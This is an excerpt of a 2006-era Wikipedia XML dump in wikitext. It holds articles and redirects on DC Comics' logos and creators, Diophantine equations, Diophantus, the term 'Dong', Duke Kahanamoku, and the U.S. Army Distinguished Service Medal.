In December 1973, the logo was modified, adding the words &quot;The Line of DC Super-Stars&quot; and the star motif that would continue in later logos.  This logo was placed in the top center of the cover from August 1975 to October 1976.

When [[Jenette Kahn]] became DC's publisher in late 1976, she commissioned graphic designer [[Milton Glaser]] to design a new logo.  Popularly referred to as the &quot;DC bullet&quot;, the logo first appeared on the February 1977 DC titles.  Although it varied in size and color and was at times cropped by the edges of the cover, or briefly rotated 45 degrees, it remained essentially unchanged for nearly three decades.

On [[May 8]], [[2005]], a new logo was unveiled, debuting on DC titles starting in June 2005 with ''DC Special: The Return of [[Donna Troy]]'' #1 and the rest of the titles the following week.  In addition to comics, it was designed for DC properties in other media, such as ''[[Batman Begins]]'', ''[[Smallville (TV series)|Smallville]]'', ''[[Justice League Unlimited]]'', collectibles, and other merchandise.  The logo, which some have dubbed the &quot;DC spin&quot;, was designed by Josh Beatman of Brainchild Studios.

==Noteworthy creators==

In roughly chronological order&lt;br&gt;

* [[Jerry Siegel]] and [[Joe Shuster]] &amp;nbsp;(Superman)
* [[Bob Kane]] and [[Bill Finger]] &amp;nbsp;(Batman)
* [[William Moulton Marston]] &amp;nbsp;(Wonder Woman)
* [[Jack Kirby]] &amp;nbsp;(New Gods, The Demon)
* [[Julius Schwartz]] &amp;nbsp;(editor)
* [[Gardner Fox]] 
* [[Jerry Robinson]] &amp;nbsp;(Batman)
* [[Dick Sprang]] &amp;nbsp;(Batman)
* [[Wayne Boring]] &amp;nbsp;(Superman) 
* [[Jim Mooney]] &amp;nbsp;(Supergirl)
* [[Mort Weisinger]] &amp;nbsp;(editor)
* [[Joe Kubert]] &amp;nbsp;(Sgt. Rock)
* [[Carmine Infantino]] &amp;nbsp;(The Flash)
* [[Gil Kane]] &amp;nbsp;(Green Lantern, the Atom)
* [[John Broome (writer)|John Broome]] &amp;nbsp;(Green Lantern)
* [[Murphy Anderson]] &amp;nbsp;(Superman)
* [[Curt Swan]] &amp;nbsp;(Superman)
* [[Dick Dillin]] &amp;nbsp;(Justice League)
* [[George Klein (comics)|George Klein]] &amp;nbsp;(Superman, Legion of Super-Heroes)
* [[Nick Cardy]] &amp;nbsp;(Teen Titans)
* [[Steve Ditko]] &amp;nbsp;(The Creeper, Blue Beetle)
* [[Neal Adams]] &amp;nbsp;(Batman, Green Lantern/Green Arrow)
* [[Dennis O'Neil]] &amp;nbsp;(Batman, Green Lantern/Green Arrow)
* [[Marshall Rogers]] &amp;nbsp;(Batman)
* [[Dick Giordano]] &amp;nbsp; (Batman)
* [[Vince Colletta]] &amp;nbsp;(DC art director; [[Jack Kirby]]'s initial [[Fourth World]] inker)
* [[Archie Goodwin (comic book writer)|Archie Goodwin]]
* [[Jim Shooter]] &amp;nbsp;(''Legion of Super-Heroes'')
* [[Paul Levitz]] &amp;nbsp;(''Legion of Super-Heroes'')
* [[Keith Giffen]] &amp;nbsp;(''Legion of Super-Heroes'', ''Justice League International'', ''52'')
* [[Marv Wolfman]] &amp;nbsp;(''The New Teen Titans'')
* [[George Pérez]] &amp;nbsp;(''The New Teen Titans'')
* [[Doug Moench]]
* [[Gerry Conway]] &amp;nbsp; (''Batman'', co-creator of ''Firestorm'')
* [[Steve Englehart]]
* [[Roy Thomas]] &amp;nbsp;(Justice Society revival)
* [[Alan Moore]] &amp;nbsp;(''Watchmen'', ''Swamp Thing'')
* [[Frank Miller]] &amp;nbsp;(''The Dark Knight Returns'', ''Batman Year One'')
* [[John Byrne]] &amp;nbsp;(Superman, Wonder Woman) 
* [[John Ostrander]] &amp;nbsp;(Suicide Squad)
* [[Jerry Ordway]] &amp;nbsp;(Superman, ''The Power of Shazam!'')
* [[Dan Jurgens]] &amp;nbsp;(Superman)
* [[Roger Stern]] &amp;nbsp;(Superman)
* [[Mike W. Barr]] &amp;nbsp;(''Camelot 3000'')
* [[Chuck Dixon]]
* [[Barbara Kesel]]
* [[Karl Kesel]] &amp;nbsp;(Superman)
* [[Neil Gaiman]] &amp;nbsp;(''The Sandman'')
* [[Grant Morrison]] &amp;nbsp;(''Animal Man'', ''Doom Patrol'', ''All Star Superman'', ''Seven Soldiers'', ''52'')
* [[Mark Waid]] &amp;nbsp;(''Kingdom Come'', The Flash)
* [[Alex Ross]] &amp;nbsp;(''Kingdom Come'', ''Justice'')
* [[James Robinson]] &amp;nbsp;(''Starman'')
* [[Devin Grayson]]
* [[Geoff Johns]] &amp;nbsp;(''Infinite Crisis'', Teen Titans, JSA)
* [[Jeph Loeb]] &amp;nbsp;(Batman)
* [[Greg Rucka]] &amp;nbsp;(Wonder Woman, ''52'')
* [[Jim Lee]] &amp;nbsp;(Superman, Batman)
* [[Gail Simone]] &amp;nbsp;(''Birds of Prey'', Superman)
* [[Jamal Igle]] &amp;nbsp;(''Firestorm'')
* [[Judd Winick]] &amp;nbsp;(Outsiders)

==Imprints==
*Current
** [[All Star DC Comics|All Star]]
** [[America's Best Comics]]
** [[CMX (comics)|CMX]]
** [[DC Archive Editions]]
** [[Johnny DC]]
** [[Elseworlds]]
** [[Vertigo (comics)|Vertigo]]
** [[Wildstorm]]

*Defunct
** [[DC Focus]]
** [[Helix (comics)|Helix]] 
** [[Impact (comics)|Impact]]
** [[Milestone Media|Milestone]]
** [[Paradox Press]]
** [[Piranha Press]]

==See also==
* [[DC Universe]]
* [[History of the DC Universe]]
* [[List of DC Comics publications]]
* [[List of DC Comics characters]]
* [[List of DC Comics movies]]

==References==
* [http://www.dccomics.com/ DC Comics official site]
* [[DCDatabase:Main Page|The DC Database Project]]
* [http://www.comics-db.com/DC_Comics/index.html Big Comic Book DataBase: DC Comics]
* [http://braveandthebold.net/ Brave and the Bold]
* Goulart, Ron, ''Ron Goulart's Great History of Comics Books'' (Contemporary Press, Chicago, 1986) ISBN 0809250454

==External links==
* [http://collectedcomicslibrary.blogspot.com/ Collected Comics Library]
* [http://www.silverbulletcomicbooks.com/features/106143682856239.htm Interview with DC publisher Paul Levitz]  
* [http://heroicimages.net// Heroic Images] 
{{Time Warner}}

[[Category:Comic book publishing companies]]
[[Category:DC Comics|*]]
[[Category:Time Warner subsidiaries]]

[[de:DC Comics]]
[[es:DC Comics]]
[[fr:DC Comics]]
[[it:DC Comics]]
[[he:DC קומיקס]]
[[ja:DCコミック]]
[[no:DC Comics]]
[[pl:DC Comics]]
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[[fi:DC Comics]]
[[sv:DC Comics]]</text>
    </revision>
  </page>
  <page>
    <title>David Grinnell</title>
    <id>9106</id>
    <revision>
      <id>15907021</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Donald A. Wollheim]]
</text>
    </revision>
  </page>
  <page>
    <title>Daimler-Chrysler</title>
    <id>9108</id>
    <revision>
      <id>15907023</id>
      <timestamp>2002-03-05T18:39:21Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <comment>the official corporate name is camel-capped =&amp;gt; DaimlerChrysler</comment>
      <text xml:space="preserve">#REDIRECT [[DaimlerChrysler]]</text>
    </revision>
  </page>
  <page>
    <title>Diophantine equation</title>
    <id>9109</id>
    <revision>
      <id>41738364</id>
      <timestamp>2006-03-01T11:31:51Z</timestamp>
      <contributor>
        <username>Jitse Niesen</username>
        <id>14515</id>
      </contributor>
      <comment>/* Examples of Diophantine equations */ revert last eqn - if it does not have a name, it is not important enough, and in any case I could not verify it (please provide a source)</comment>
      <text xml:space="preserve">In [[mathematics]], a '''Diophantine equation''' is a [[polynomial]] [[equation]] that only allows the variables to be [[integer]]s.  Diophantine problems have fewer equations than unknown variables and involve finding integers that work correctly for all equations.

The word ''Diophantine'' refers to the [[Hellenized]] [[Babylonian]] [[Hellenistic mathematics|mathematician]] of the [[3rd century|3rd century CE]], [[Diophantus]] of [[Alexandria]], who made a study of such equations and was one of the first mathematicians to introduce [[mathematical symbol|symbolism]] into [[algebra]].  The mathematical study of Diophantine problems Diophantus initiated is now called Diophantine analysis.

A linear Diophantine equation is an equation between two sums of [[monomials]] of degree zero or one.

== Examples of Diophantine equations ==

*''ax'' + ''by'' = 1: See [[Bézout's identity]]; this is a linear Diophantine.
*''x''&lt;sup&gt;''n''&lt;/sup&gt; + ''y''&lt;sup&gt;''n''&lt;/sup&gt; = ''z''&lt;sup&gt;''n''&lt;/sup&gt;: For ''n'' = 2 there are infinitely many solutions (''x'',''y'',''z''), the [[Pythagorean triple]]s.  For larger values of ''n'', [[Fermat's last theorem]] states that no positive integer solutions ''x'', ''y'', ''z'' satisfying the above equation exist.
*''x''&lt;sup&gt;2&lt;/sup&gt; - ''n'' ''y''&lt;sup&gt;2&lt;/sup&gt; = 1: ([[Pell's equation]]) which is named, mistakenly, after the English mathematician [[John Pell]].  It was studied by [[Brahmagupta]] in the 6th century and much later by [[Pierre de Fermat|Fermat]].
*&lt;math&gt;\sum_{i=0}^n{a_i x^i y^{n-i}} = c&lt;/math&gt;, where &lt;math&gt;n \geq 3&lt;/math&gt; and &lt;math&gt;c \not= 0&lt;/math&gt;: These are the [[Thue equations]], and are, in general, solvable.

== Diophantine analysis ==

=== Traditional questions ===

The questions asked in Diophantine analysis include:

*Are there any solutions?
*Are there any solutions beyond some that are easily found by inspection?
*Are there finitely or infinitely many solutions?
*Can all solutions be found, in theory?
*Can one in practice compute a full list of solutions?

These traditional problems often lay unsolved for centuries, and mathematicians gradually came to understand their depth (in some cases), rather than treat them as puzzles.

=== Diophantine analysis in India ===

The [[India]]n interest in integral solutions of Diophantine equations can be traced back to the [[Sulba Sutras]], which were [[Indian mathematics|Indian mathematical]] texts written between [[800 BC]] and [[500 BC]]. [[Baudhayana]] (circa [[800 BC]]) finds two sets of positive integral solutions to a set of simultaneous Diophantine equations, and also attempts simultaneous Diophantine equations with upto four unknowns. [[Apastamba]] (circa [[600 BC]]) attempts simultaneous Diophantine equations with upto five unknowns.

Diophantine equations were later extensively studied by mathematicians in medieval India, who were the first to systematically investigate methods for determination of integral solutions of Diophantine equations. Systematic methods for finding integer solutions of Diophantine equations could be found in Indian texts from the time of [[Aryabhata]] ([[499|499 CE]]). The first explicit description of the general integral solution of the linear Diophantine equation ay + bx = c occurs in his text ''Aryabhatiya''. This algorithm is considered to be one of the most signicant contributions of Aryabhata in pure mathematics. The technique was applied by Aryabhata to give integral solutions of simulataneous Diophantine equations of first degree, a problem with important applications in astronomy.

Aryabhata describes the algorithm in just two stanzas of ''Aryabhatiya''. His cryptic verses were elaborated by [[Bhaskara I]] ([[6th century]]) in his commentary ''Aryabhatiya Bhasya''. Bhaskara I illustrated Aryabhata's rule with several examples including 24 concrete problems from astronomy. Without the explanation of Bhaskara I, it would have been difficult to interpret Aryabhata's verses. Bhaskara I aptly called the method ''kuttaka'' (pulversisation). The idea in kuttaka was later considered so important by the Indians that initially the whole subject of algebra used to be called ''kuttaka-ganita'', or simply ''kuttaka''.

[[Brahmagupta]] ([[628]]) handled more difficult Diophantine equations - he discovered [[Pell's equation]], and in his ''Samasabhavana'' he laid out a procedure to solve Diophantine equations of the second order, such as 61x&lt;sup&gt;2&lt;/sup&gt; + 1 = y&lt;sup&gt;2&lt;/sup&gt;. These methods were unknown in the west, and this very equation was posed as a problem in [[1657]] by the [[France|French]] mathematician [[Pierre de Fermat]] - however, its solution was found only seventy years later by [[Euler]]. Meanwhile, many centuries ago, the solution to this equation was recorded by [[Bhaskara II]] ([[1150]]), using a modified version of Brahmagupta's method, and also found the solution to [[Pell's equation]].

=== 17th and 18th centuries ===

In [[1637]], [[Pierre de Fermat]] scribbled on the margin of his copy of ''[[Arithmetica]]'': &quot;The equation a&lt;sup&gt;n&lt;/sup&gt; + b&lt;sup&gt;n&lt;/sup&gt; = c&lt;sup&gt;n&lt;/sup&gt; has no solutions for any n higher than two.&quot; And then he wrote, intriguingly: &quot;I have discovered a truly marvelous proof of this, which, however, the margin is not large enough to contain.&quot; This proof however eluded mathematicians for centuries. It became famous as [[Fermat's last theorem]], but it wasn't until [[1994]] that it was proven by [[British]] mathematician [[Andrew Wiles]].

In [[1657]], Fermat attempted the Diophantine equation 61x&lt;sup&gt;2&lt;/sup&gt; + 1 = y&lt;sup&gt;2&lt;/sup&gt; (solved by Brahmagupta over 1000 years earlier). The equation was eventually solved by [[Euler]] in the early [[18th century]], who also solved a number of other diophantine equations.

=== Hilbert's tenth problem ===

In [[1900]], in recognition of their depth, Hilbert proposed the solvability of all Diophantine problems as the tenth of his [[Hilbert's problems|celebrated problems]]. In 1970, a novel result in [[mathematical logic]] known as [[Matiyasevich's theorem]] settled the problem negatively: in general Diophantine problems are unsolvable. 

The point of view of '''Diophantine geometry''', which is the application of [[algebraic geometry]] techniques in this field, has continued to grow as a result; since treating arbitrary equations is a dead end, attention turns to equations also having a geometric meaning. The central idea of Diophantine geometry is that of a '''rational point''', namely a solution to a polynomial equation or system of [[simultaneous equations]], which is a vector in a prescribed [[field (mathematics)|field]] ''K'', when ''K'' is ''not'' [[algebraically closed]].

=== Modern research ===

One of the few general approaches is through the [[Hasse principle]]. [[Infinite descent]] is the traditional method, and has been pushed a long way.

The depth of the study of general Diophantine equations is shown by the characterisation of [[Diophantine set]]s as [[recursively enumerable set|recursively enumerable]].

The field of [[Diophantine approximation]] deals with the cases of ''Diophantine inequalities'': variables are still supposed to be integral, but some coefficients may be irrational numbers, and the equality sign is replaced by upper and lower bounds.

==Exponential Diophantine equations==

If a Diophantine equation has as an additional variable or variables some integer(s) occurring as [[exponent]]s, it is an '''exponential Diophantine equation'''. Such equations do not have a general theory; particular cases such as [[Mihăilescu's theorem]] have been tackled.

== External links ==

*[http://mathworld.wolfram.com/DiophantineEquation.html Diophantine Equation].  From [[MathWorld]] at [[Wolfram Research]].
*[http://planetmath.org/encyclopedia/DiophantineEquation.html Diophantine Equation].  From [[PlanetMath]].

[[Category:Diophantine equations|*]]

[[ca:Equació diofàntica]]
[[de:Diophantische Gleichung]]
[[et:Diofantiline võrrand]]
[[es:Ecuación diofántica]]
[[eo:Diofanta ekvacio]]
[[fa:معادله سیاله]]
[[fr:Équation diophantienne]]
[[ko:디오판토스 방정식]]
[[it:Equazione diofantea]]
[[he:משוואה דיופנטית]]
[[nl:Diophantische vergelijkingen]]
[[no:Diofantisk ligning]]
[[pl:Równanie diofantyczne]]
[[ru:Диофантово уравнение]]
[[sl:Diofantska enačba]]
[[fi:Diofantoksen yhtälö]]
[[sv:Diofantisk ekvation]]
[[zh:丟番圖方程]]</text>
    </revision>
  </page>
  <page>
    <title>Diophantus</title>
    <id>9110</id>
    <revision>
      <id>42082895</id>
      <timestamp>2006-03-03T18:35:36Z</timestamp>
      <contributor>
        <username>Marshman</username>
        <id>16734</id>
      </contributor>
      <comment>copy edits</comment>
      <text xml:space="preserve">[[Image:Diophantus-cover.jpg|right|thumb|200px|Cover of the 1621 edition of Diophantus' ''Arithmetica'', translated into [[Latin]] by [[Claude Gaspard Bachet de Méziriac]].]]

'''Diophantus of Alexandria''' ([[Greek language|Greek]]: '''&amp;#916;&amp;#953;&amp;#972;&amp;#966;&amp;#945;&amp;#957;&amp;#964;&amp;#959;&amp;#962; &amp;#8001; &amp;#913;&amp;#955;&amp;#949;&amp;#958;&amp;#945;&amp;#957;&amp;#948;&amp;#961;&amp;#949;&amp;#973;&amp;#962;''' circa [[200]]/[[214]] &amp;ndash; circa [[284]]/[[298]]) was a [[Hellenized]] [[Babylonian]] [[mathematician]] in [[Alexandria]], [[Egypt]]. &lt;!--He was born around, the exact dates are unkown, 200 A.D. and lived to around 280 A.D.--&gt;
He was known for his study of [[equation]]s with [[variable]]s which take on [[rational number|rational value]]s and these [[Diophantine equation|Diophantine equations]] are named after him. Diophantus is sometimes known as the &quot;father of [[Algebra]]&quot; perhaps because his unusual syncopated notation seems reminiscient of the fully symbolic algebra that would develop much later.  His most famous work is the Arithmetica --- originally thirteen Greek books, of which only seven survive today in extant Greek manuscripts.  Many Diophantine problems from these books have been found in Arabic sources.  An additional four books of the Arithmetica, apparently from the six books lost in Greek, have been discovered in an Arabic manuscript in the early 1970s. Diophantus also wrote a treatise on polygonal numbers, of which part survives.  

The ''[[editio princeps]]'' of Diophantus was published in 1575 by [[Xylander]], and editions of Arithmetica exerted a profound influence on the development of algebra in Europe in the late sixteenth and through the seventeenth and eighteenth centuries.  

[[Image:Diophantus-II-8-Fermat.jpg|right|thumb|200px|Problem II.8 in the ''Arithmetica'' (edition of 1670), annotated with Fermat's comment which became [[Fermat's last theorem]].]]
In [[1637]], while reviewing his copy of Diophantus' ''[[Arithmetica]]'' [[Pierre de Fermat]] wrote his famous &quot;[[Fermat's last theorem|Last Theorem]]&quot; in the margins of his copy of [[Claude Gaspard Bachet de Méziriac|Bachet]]'s 1621 edition of the Arithmetica.  Although this original copy is lost today, Fermat's son edited the next edition of Diophantus, published in 1670.  Although the text is otherwise inferior to the 1621 edition, Fermat's annotations --- including his famous &quot;Last Theorem&quot; --- were printed in this version.

Although little is known about his life, some biographical information can be computed from his epitaph (see links below). He lived in Alexandria and he died when he was 84 years old.

A 5th and 6th century math puzzle involving Diophantus' age:
He was a boy for one-sixth of his life.
After one-twelfth more, he acquired a beard.
After another one-seventh, he married.
In the fifth year after his marriage his son was born.
The son lived half as many years as his father.
Diophantus died 4 years after his son.
How old was Diophantus when he died?

The answer can be obtained by letting ''x'' be the length of Diophantus' life and solving the equation:
:&lt;math&gt;x = {x\over 6} + {x\over 12} + {x \over 7} + 5 + {x \over 2} + 4&lt;/math&gt;
which yields:
:&lt;math&gt;x = {75x\over 84} + 9&lt;/math&gt;
and so ''x'' = 84. And, since Diophantus' son lived half as long as Diophantus, his son's age at death was 42.

== External links ==
* [http://www-groups.dcs.st-andrews.ac.uk/~history/Mathematicians/Diophantus.html Diophantus of Alexandria] by J. J. O'Connor and E. F. Robertson
* [http://mathworld.wolfram.com/DiophantussRiddle.html Diophantus's Riddle] Diophantus' epitaph, by E. Weisstein
* Larry Freeman (2005), [http://fermatslasttheorem.blogspot.com/2005/05/diophantus-of-alexandria.html Fermat's Last Theorem   Blog] Covers topics in the history of Fermat's Last Theorem from Diophantus of Alexandria to Andrew Wiles.

== Sources ==

*T.L. Heath, ''Diophantos of Alexandria: A Study in the History of Greek Algebra'', Cambridge: Cambridge University Press, 1885, 1910
*P.L. Tannery, ''Diophanti Alexandrini Opera omnia: cum Graecis commentariis'', Lipsiae: In aedibus B.G. Teubneri, 1893-1895
*P. Ver Eecke, ''Diophante d’Alexandrie: Les Six Livres Arithmétiques et le Livre des Nombres Polygones'', Bruges: Desclée, De Brouwer, 1926
*Jacques Sesiano, ''Books IV to VII of Diophantus’ Arithmetica in the Arabic translation attributed to Qusṭā ibn Lūqā'',  Heidelberg: Springer-Verlag, [[1982]]. ISBN 0387906908


[[Category:Ancient Greek mathematicians|Diophantus of Alexandria]]
[[Category:Number theorists|Diophantus of Alexandria]]
[[Category:200 births]]
[[Category:298 deaths]]

[[de:Diophant von Alexandrien]]
[[es:Diofanto de Alejandría]]
[[fr:Diophante d'Alexandrie]]
[[ko:디오판토스]]
[[io:Diofanto]]
[[it:Diofanto di Alessandria]]
[[he:דיופנטוס]]
[[nl:Diophantus]]
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[[ru:Диофант Александрийский]]
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  </page>
  <page>
    <title>Dong</title>
    <id>9111</id>
    <revision>
      <id>41239540</id>
      <timestamp>2006-02-26T00:18:00Z</timestamp>
      <contributor>
        <ip>216.110.203.241</ip>
      </contributor>
      <text xml:space="preserve">'''Dong''' may refer to any of the following:

# [[Vietnamese dong]], the [[currency]] unit of [[Vietnam]] (&amp;#273;&amp;#7891;ng, &amp;#8363;). 1 dong = 100 [[xu (currency)|xu]].
# (Colloq.) [[Penis]] or [[dildo]] - see: [[Long Dong Silver]], a [[pornographic actor]] world famous for the enormous [[penis size|size of his penis]].
# Creature in the nonsense poetry of [[Edward Lear]], ''The Dong with a Luminous Nose''
# [[Dong people]] (&amp;#20375;&amp;#26063;), an [[List of Chinese ethnic groups|ethnic minority group]] in the [[Guangxi]] and [[Guizhou]] provinces of south-west [[China]]
# [[Transliteration]] of [[Chinese family name]]s &amp;#33891;,&amp;#26481; (in [[Mandarin (linguistics)|Mandarin]] [[pinyin]]) and &amp;#40680; (in [[Cantonese (linguistics)|Cantonese]]).  The same names can be spelled as Tung in other systems of transliteration.  See also [[Dong Biwu]], [[Dong Xi]], [[Dong Yuan]], [[Dong Zhuo]], [[Tung Chee-hwa]], [[Tung Chao Yung]] et al.
# [[Onomatopoeia|Onomatopoeic]] term to refer to the (especially low) sound of a bell.
# [[Sixteen Candles#Long Duk Dong|Long Duk Dong]] or &quot;the Donger,&quot; a character in the 1984 American movie ''[[Sixteen Candles]]''.
# [[Dansk Olie og Naturgas]], Denmarks's state-owned oil and gas company.
# A section of a city in [[South Korea]] (written 동 or 洞), smaller than a ''gu'' (ward) and approximately the size of five city blocks. Used in place names quite often; [[Jegi-dong Station]] is an example.
# [[Long Dong Silver]], the alias of a black actor in several pornographic films in the early 1980s.
# A [[Language game]] where words are spelled out and consanants have the syllable -ong added on the end.

{{disambig}}

[[de:Dong]]
[[io:Dong]]
[[nl:Dong]]
[[vi:&amp;#272;&amp;#7891;ng]]</text>
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  </page>
  <page>
    <title>Dr. Doom</title>
    <id>9112</id>
    <revision>
      <id>15907027</id>
      <timestamp>2003-12-04T09:48:35Z</timestamp>
      <contributor>
        <username>Lowellian</username>
        <id>29210</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Doctor Doom]]</text>
    </revision>
  </page>
  <page>
    <title>Duke Kahanamoku</title>
    <id>9118</id>
    <revision>
      <id>41716515</id>
      <timestamp>2006-03-01T06:42:10Z</timestamp>
      <contributor>
        <username>Tbonefin</username>
        <id>222675</id>
      </contributor>
      <minor />
      <comment>+fi</comment>
      <text xml:space="preserve">[[Image:DukeKahanamoku.jpeg|right|thumb|290px|Duke Kahanamoku (1915 postcard)]]
:''The Big Kahuna redirects here. For the film, see [[The Big Kahuna (film)]].''
'''Duke Paoa Kahinu Mokoe Hulikohola Kahanamoku''' ([[August 24]], [[1890]] &amp;ndash; [[January 22]], [[1968]]), &quot;'''The Big Kahuna'''&quot;, is generally regarded as the inventor of the modern sport of [[surfing]].  He was also an [[Olympic Games|Olympic]] champion in [[swimming]].

The name &quot;Duke&quot; is not a title, but a [[given name]].  His father was named &quot;Duke&quot; in honor of [[Alfred, Duke of Saxe-Coburg and Gotha|Prince Alfred, Duke of Edinburgh]], who was visiting [[Hawaii]] at the time of the elder man's birth in 1869.  The younger &quot;Duke&quot;, as eldest son, inherited the name.

In his youth, Kahanamoku preferred an old-school (traditional) surf board, which he called his &quot;papa nui&quot;, constructed after the fashion of ancient Hawaiian &quot;olo&quot; boards.  Made from the wood of a koa tree, it was sixteen feet (4.8 m) long and weighed 114 pounds (52 kg).  The board was without a [[skeg]], which had yet to be invented.  In his later career, he would often use smaller boards, but always preferred those made of wood.

On August 11, 1911, in an amateur swim meet, Kahanamoku was timed at 55.4 seconds in the 100 yard (91 m) [[freestyle swimming|freestyle]], beating the existing world record by 4.6 seconds, in the salt water of Honolulu Harbor.  He also broke the record in the 220 yd (201 m) and equaled it in the 50 yd (46 m), but the [[Amateur Athletic Union]], in disbelief, would not recognize these feats until many years later.

Nevertheless, Kahanamoku easily qualified for the U.S. Olympic swimming team in 1912, breaking the record for the 200 meter freestyle in his trial heat for the 4&amp;times;200 relay.  He went on to win a gold medal in the 100 yard (91 m) freestyle in the [[1912 Summer Olympics|1912 Olympics]] in [[Stockholm]], and a silver with the relay team.  During the [[1920 Summer Olympics|1920 Olympics]] in [[Antwerp]], he won gold medals both in the 100 yd (91 m), bettering fellow Hawaiian [[Pua Kealoha]], and in the relay.  He finished the 100 yd (91 m) with a silver medal during the [[1924 Summer Olympics|1924 Olympics]] in [[Paris]], the gold going to [[Johnny Weissmuller]] and the bronze to Duke's brother, [[Samuel Kahanamoku]].

Between Olympic competitions, and after retiring from the Olympics, Kahanamoku traveled to different places in the world, particularly [[Australia]] and the [[United States]], to give swimming exhibitions.  It was during this period that he popularized the sport of surfing, previously known only in Hawaii, by incorporating surfing exhibitions into these visits as well.  His surfing exhibition at Sydney's Freshwater Beach on December 23, 1914 is widely regarded as the most significant day in the development of surfing in Australia.  The board Kahanamoku used is retained by the Freshwater Surf Club and can be viewed if the caretaker is approached respectfully. There is a statue of Kahanamoku on the headland at Freshwater.
Duke was also known as the Father of Surfing.

During his time living in [[Southern California]], Kahanamoku also performed in [[Hollywood]] as an extra and a character actor in several films.  In this way, he made connections with people who could further publicity for the sport of surfing.  Kahanamoku was also involved with the [[Los Angeles Athletic Club]], acting as lifeguard and competing on both swimming and water polo teams.  

While living in Newport Beach, California on June 14, 1925, Kahanamoku rescued eight men from a fishing vessel that capsized in heavy surf while attempting to enter the city's harbor.  Twenty-nine fishermen went into the water and seventeen perished.  Using his surfboard, he was able to make quick trips back and forth to shore to increase the number of sailors rescued.  Two other surfers saved four more fishermen.  Newport's police chief at the time called Duke's efforts &quot;the most superhuman surfboard rescue act the world has ever seen.&quot;  Thus was born the tradition of lifeguards having rescue surfboards at the ready.  

Duke Kahanamoku was the first person to be inducted into both the [[Swimming Hall of Fame]] and the [[Surfing Hall of Fame]].  The [[Duke Kahanamoku Invitational Surfing Championships]] are named in his honor.  He served as sheriff of [[Honolulu, Hawaii]] from 1932 to 1961.

There is also a chain of restaurants named after him in [[California]] and [[Hawaii]] called ''Duke's''.

==External links==
*[http://www.hawaiianswimboat.com/duke.html Kahanamoku Sons bio of Duke]
*[http://www.surfline.com/surfaz/kahanamoku_duke.cfm Surfline bio of Duke]
*{{imdb name|id=0434687|name=Duke Kahanamoku}}
*[http://www.dukesmalibu.com/ ''Duke's'' restaurant website]

[[Category:1890 births|Kahanamoku, Duke]]
[[Category:1968 deaths|Kahanamoku, Duke]]
[[Category:American surfers|Kahanamoku, Duke]]
[[Category:American freestyle swimmers|Kahanamoku, Duke]]
[[Category:Asian American sportspeople|Kahanamoku, Duke]]
[[Category:Sportspeople of Hawaii|Kahanamoku, Duke]]
[[Category:Olympic swimmers of the United States|Kahanamoku, Duke]]
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  <page>
    <title>Distinguished Service Medal (Army)</title>
    <id>9119</id>
    <revision>
      <id>39763480</id>
      <timestamp>2006-02-15T18:39:58Z</timestamp>
      <contributor>
        <username>PSRuckman</username>
        <id>870348</id>
      </contributor>
      <text xml:space="preserve">''This article concerns the United States Army Distinguished Service Medal.  Please see &quot;[[Distinguished Service Medal (USA)|Distinguished Service Medal]]&quot; for other U.S. versions of the Distinguished Service Medal.''
[[Image:Distservmedal.jpg|right]]

The '''Distinguished Service Medal''' is a [[Awards and decorations of the United States military|military award]] of the [[United States Army]] which is presented to any person who, while serving in any capacity with the [[United States military]], has distinguished himself or herself by exceptionally meritorious service to the Government in a duty of great responsibility. The performance must be such as to merit recognition for service which is clearly exceptional. Exceptional performance of normal duty will not alone justify an award of this decoration.

Separate Distinguished Service Medals exist for the different branches of the military as well as a fifth version of the medal which is a senior award of the United States Department of Defense.  The Army version of the Distinguished Service Medal is typically referred to simply as the &quot;Distinguished Service Medal&quot; while the other branches of service use the service name as a prefix.  

For service not related to actual war, the term &quot;duty of a great responsibility&quot; applies to a narrower range of positions than in time of war, and requires evidence of conspicuously significant achievement. However, justification of the award may accrue by virtue of exceptionally meritorious service in a succession of high positions of great importance.

Awards may be made to persons other than members of the Armed Forces of the [[United States]] for wartime services only, and then only under exceptional circumstances, with the express approval of the President in each case.

==Design of the Distinguished Service Medal==
The medal consists of the Coat of Arms of the United States in Gold surrounded by a circle of Dark Blue enamel, 1.5 inches (38 mm) in diameter, bearing the inscription &quot;&lt;small&gt;FOR DISTINGUISHED SERVICE MCMXVIII&lt;/small&gt;&quot;. On the reverse is a scroll for the name of the recipient (which is to be engraved) upon a trophy of flags and weapons. The medal is suspended by a bar attached to the ribbon.  The ribbon is 1 3/8 inches (35 mm) wide and consists of the following stripes: 5/16 inch (8 mm) scarlet 67111; 1/16 inch (2 mm) ultramarine blue 67118; 5/8 inch (16 mm) white 67101; 1/16 inch (2 mm) ultramarine blue; and 5/16 inch (8 mm) scarlet.

Additional awards of the Distinguished Service Medal are denoted by [[oak leaf cluster]]s.

==History of the Distinguished Service Medal==
The Distinguished Service Medal was authorized by Presidential Order dated [[January 2]], [[1918]], and confirmed by Congress on [[July 9]], [[1918]]. It was announced by War Department General Order No. 6, [[January 12]], [[1918]], with the following information concerning the medal: &quot;A bronze medal of appropriate design and a ribbon to be worn in lieu thereof, to be awarded by the President to any person who, while serving in any capacity with the Army shall hereafter distinguish himself or herself, or who, since [[April 6]], [[1917]], has distinguished himself or herself by exceptionally meritorious service to the Government in a duty of great responsibility in time of war or in connection with military operations against an armed enemy of the United States.&quot; The Act of Congress on [[July 9]], [[1918]], recognized the need for different types and degrees of heroism and meritorious service and included such provisions for award criteria. The current statutory authorization for the Distinguished Service Medal is Title 10, [[United States Code]], Section 3743.

Among the first awards of the Distinguished Service Medal for service in World War I, were those to the Commanding Officers of the Allied Armies: Marshals Foch and Joffre, [[Henri Philippe Pétain|General Petain]] of France, Field Marshal Haig of the United Kingdom, General Monash of Australia, General Diaz of Italy, General Gillain of Belgium,then Colonel Douglas MacArthur, and General Pershing.

==Notable recipients==
*[[John Birch (missionary)|Birch, John]], USAAF (with Oak Leaf Cluster; posthumous)
*[[Tasker H. Bliss|Bliss, Tasker H.]]
*[[Omar Bradley|Bradley, Omar N.]] (recipient of both the Army (with three Oak Leaf Clusters)  and [[Navy Distinguished Service Medal|Navy version]])
*[[Arleigh Burke|Burke, Arleigh, Adm., USN]]
*[[Joseph Carroll| Carroll, Joseph F., Lt. Gen., USAF]]
